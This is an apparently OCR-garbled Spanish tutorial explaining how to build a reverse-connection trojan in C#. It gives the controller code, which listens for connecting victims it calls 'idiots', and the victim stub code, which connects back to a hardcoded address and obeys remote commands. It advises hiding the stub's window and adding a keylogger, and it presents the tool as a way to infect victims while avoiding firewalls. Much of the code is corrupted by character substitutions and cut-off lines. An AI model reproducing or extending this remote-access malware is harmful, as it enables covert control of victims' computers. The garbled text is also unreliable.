[Titulo] : Creacion de un Troyano Troyano de Conexion Inversa [Lenguaje] : C# [Autor] : Doddy Hackman [Temario] !!!!!!!!!!!!!!!!! "x" : Introduccion "x"$ : Creacion del servidor "x"% : Creacion del cliente "x"& : 'ro(ando el )rograma "x"* : +i(liogra,ia !!!!!!!!!!!!!!!!!
"x" : Introduccion
Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos. Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado !everse Connection !A" xample hecho por x$ilent de hac%hound logre entender el funcionamiento $abiendo todo esto vamos hacer uno en C# con &isual $tudio '()(. Comencemos ... "x"$ : Creacion del servidor
*rimero vamos a crear el servidor de la siguiente forma con visual studio +
Una ve creado el proyecto pongan lo siguientes namespaces al inicio del codigo +
using System.Threading; // Lo usamos para poder manejar los hilos using System.Net.Sockets; // Lo usamos para poder crear la conexion using System.Net; // Lo usamos para poder crear la conexion using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares
-espues pongan las siguientes variables gobales al inicio del codigo +
TcpListener tcpser!er; // Establecemos la !ariable tcpser!er como TcpListener Thread threadser!er; // Establecemos la !ariable threadser!er Thread
Ahora vamos a crear una clase llamada $erveranager con el siguiente codigo +
// Ser!er "anager // #oded $y %oddy &ackman // #redits ' // Rat $ased on ' http'//(((.hack)orums.net/sho(thread.php* tid+,-01! // Thanks to xSilent using System; using System.#ollections.2eneric; using System.Text; using System.Net.Sockets; // 3ara el manejo de sockets using System.45; // 3ara el manejo de Streams using System.6indo(s.7orms; // 3ara el manejo de )ormularios using System.Text.RegularExpressions; // 3ara el manejo de expresiones regulares namespace ser!er 8 class Ser!er"anager 8 public Tcp#lient manager; // 9ariable global para manejar el cliente public string ip; // 9ariable global para tener la 43 public delegate !oid cargandodatos:Ser!er"anager manager string "essage<; public e!ent cargandodatos e!entopanelcontrolno(; public Ser!er"anager:Tcp#lient manager< 8 this.manager + manager; string datos + manager.#lient.RemoteEnd3oint.ToString:<; // #argamos los datos de la conexion "atch regex + Regex."atch:datos =:.><':.><= Regex5ptions.4gnore#ase<; // %i!idimos la ip y el puerto i) :regex.Success< // Si se encontro ... 8
ip +
[email protected]; // 2uardamos la 43 B manager.2etStream:<.$eginRead:ne( byte?A 8 B leoalidiot null<; // Seguimos leyendo B !oid leoalidiot:4CsyncResult contenidoleyendo< 8 try 8 StreamReader leyendono( + ne( StreamReader:manager.2etStream:<<; // Leemos los datos de la conexion string mensajeleyendono( + leyendono(.ReadLine:<; // #argamos los datos de la conexiDn en la !ariable string e!entopanelcontrolno(:this mensajeleyendono(<; // "andamos a la )uncion los datos leidos con la !ariable string manager.2etStream:<.$eginRead:ne( byte?A 8 B leoalidiot null<; // Recargamos los datos B catch 8 // B B public !oid respondoalidiot:string mensajeno(< 8 try 8 Stream6riter temandono( + ne( Stream6riter:manager.2etStream:<<; // #reamos el stream para responder al cliente temandono(.6riteLine:mensajeno(<; // "andamos la respuesta temandono(.7lush:<; // Re)rescamos el bu))er B catch 8 // B B B B // The End *
l formulario del servidor lo vamos hacer de la siguiente forma + /01 ) 2ist&iew con una columna que tiene de texto 3diots 4ound y ponen la propiedad &iew en -etails /01 5 6otones con el siguiente texto 7nline,7penC-,Close C- 2es tiene que quedar algo asi +
Una ve hecho esto hacemos doble clic% en el primer boton llamado 7nline para poner el siguiente codigo +
pri!ate !oid button@#lick:object sender E!entCrgs e< 8 int port + 000; // Establecemos la !ariable port como int con el !alor de 000 para usar como numero de puerto tcpser!er + ne( TcpListener:43Cddress.Cny port<; // Establecemos la conexion con el puerto usando tcpser!er threadser!er + ne( Thread:panelcontrol<; // Establecemos el hilo threadser!er para poder leer los datos threadser!er.Start:<; // 4niciamos el hilo threadser!er B
-espues del codigo del boton agreguen el siguiente codigo +
public !oid panelcontrol:< 8 tcpser!er.Start:<; // 4niciamos el ser!idor (hile :true< // $ucle eterno para poder en!iar y recibir datos de la conexion 8 Ser!er"anager socketser!erno( + ne(
Ser!er"anager:tcpser!er.CcceptTcp#lient:<<; // Cceptamos la conexion entrante socketser!erno(.e!entopanelcontrolno( + ne( Ser!er"anager.cargandodatos:e!entopanelcontrol<; // Fsamos la clase Ser!er"anager para manejar // los datos de la conexion pendiente B B !oid e!entopanelcontrol:Ser!er"anager !engostring data< 8 "atch regex + Regex."atch:data =GC#CT5HGLLE2FEGC#CT5HG= Regex5ptions.4gnore#ase<; // Fsamos la expresion regular // para controlar Iue se encuentre // el texto =GC#CT5HGLLE2FEGC#CT5HG= en la !ariable string data i) :regex.Success< // Si se encuentra ... 8 4n!oke:ne( Ne(4diot:Ne(4diot<!engo<; // Llamamos la )uncion Ne(4diot para agregar un cliente mas B regex + Regex."atch:data =GRta#ommandG:.>
"odos estos pasos les deberia quedar asi +
Ahora vamos hacer doble clic% el segundo boton que tiene como texto 7penC- para poner el siguiente codigo +
Ser!er"anager manager + :Ser!er"anager
-espues vamos agregar el siguiente codigo al segundo boton con texto CloseC- +
Ser!er"anager manager + :Ser!er"anager
2es deberia quedar algo asi los dos botones +
so seria todo en el servidor. "x"% : Creacion del cliente
Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma +
Una ve creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma +
using System.Net.Sockets; // Lo usamos para el manejo de sockets using System.Net; // Lo usamos para el manejo de sockets using System.45; // Lo usamos para el manejo de streams using System.Runtime.4nteropSer!ices; // Lo usamos para poder usar la )uncion de abrir y cerrar la lectora using System.Text.RegularExpressions; // Lo usamos para las
expresiones regulares -espues de eso establecemos las siguientes variables globales con el siguiente codigo +
?%ll4mport:=(inmm.dll= Entry3oint + =mciSendStringC=
Ahora vamos al evento 2oad del formulario y ponemos el siguiente codigo +
datosparalaconexionconelser!er + ne( 43End3oint:43Cddress.3arse:=@-...@=< 000<; // Establecemos la !ariable datosparalaconexionconelser!er // como 43End3oint con el !alor de la 43 y el puerto entraralser!idor:<; // RealiJamos la conexion
-espues del codigo del 2oad del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor +
public static !oid entraralser!idor:< 8 try 8
conexionconelser!er.#onnect:datosparalaconexionconelser!e r<; // #onectamos al ser!idor con los datos del ser!er en!iarrespuesta:=GC#CT5HGLLE2FEGC#CT5HG=<; // En!iamos el mensaje C#CT5H al ser!idor para decirle Iue hay un nue!o idiot conexionconelser!er.2etStream:<.$eginRead:ne( byte?A 8 B leerdatosdelser!idor null<; // #apturamos todos los datos pro!enientes // de la conexion y los !emos mejor en la )uncion leerdatosdelser!idor B catch
8 // B B public static !oid leerdatosdelser!idor:4CsyncResult no(< 8 try 8 StreamReader abriendoconexion + ne( StreamReader:conexionconelser!er.2etStream:<<; // Fsamos la !ariable abriendoconexion // de tipo StreamReader para poder leer los datos Iue !ienen string contenido + abriendoconexion.ReadLine:<; // 3onemos los datos la conexion en la !ariable string contenido "atch regex + Regex."atch:contenido =G#ommandG5pen#%G #ommandG= Regex5ptions.4gnore#ase<; // Fsamos la expresion regular // para !eri)icar Iue nos en!ien la orden 5pen#% i) :regex.Success< // Si pasa ... 8 mciSendStringC:=set #%Cudio door open= == @- <; // Fsamos mciSendStringC para abrir la lectora en!iarrespuesta:=GRta#ommandG5pen#% 5KG Rta#ommandG=<; // Le decimos al ser!idor Iue todo salio bien aunIue nunca !eri)iIue nada x% B regex + Regex."atch:contenido =G#ommandG#lose#%G #ommandG= Regex5ptions.4gnore#ase<; // Fsamos la expresion regular #lose#% para !eri)icar Iue // nos en!ien la orden de #lose#d i) :regex.Success< // Si pasa ... 8 mciSendStringC:=set #%Cudio door closed= == @- <; // Fsamos mciSendStringC para cerrar la lectora en!iarrespuesta:=GRta#ommandG#lose#% 5KG Rta#ommandG=<; // Le decimos al ser!idor Iue todo salio bien B conexionconelser!er.2etStream:<.$eginRead:ne( byte?A 8 B leerdatosdelser!idor null<; // CctualiJamos los datos de la conexion B catch 8 // B B
public static !oid en!iarrespuesta:string texto< 8 try 8 Stream6riter en!iarrespuestano( + ne( Stream6riter:conexionconelser!er.2etStream:<<; // %eclaramos la !ariable en!iarrespuestano( // como Stream6riter para poder mandar un mensaje en!iarrespuestano(.6riteLine:texto<; // "andamos el mensaje Iue tienen la !ariable string y argumento =texto= en!iarrespuestano(.7lush:<; // Seteamos para Iue el mensaje se en!ie correctamente B catch 8 // B B
Con eso ya estaria listo el cliente. "x"& : 'ro(ando el )rograma
Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un %eylogger , muy pronto voy a publicar la version en C# de mi -8 !at. *ara probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan clic% en el boton 7nline para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan clic% en los botones de abrir y cerrar la lectora para comprobar que realmente funciona. Unas imagenes de como funciona +
so seria todo. "x"* : +i(liogra,ia
http+99www.hac%forums.net9showthread.php:tid;<'=(>? http+99(six.wordpress.com9'())9(@9(59crattcpconnectiontutorial9
!!!!!!!! T-e .nd / !!!!!!!!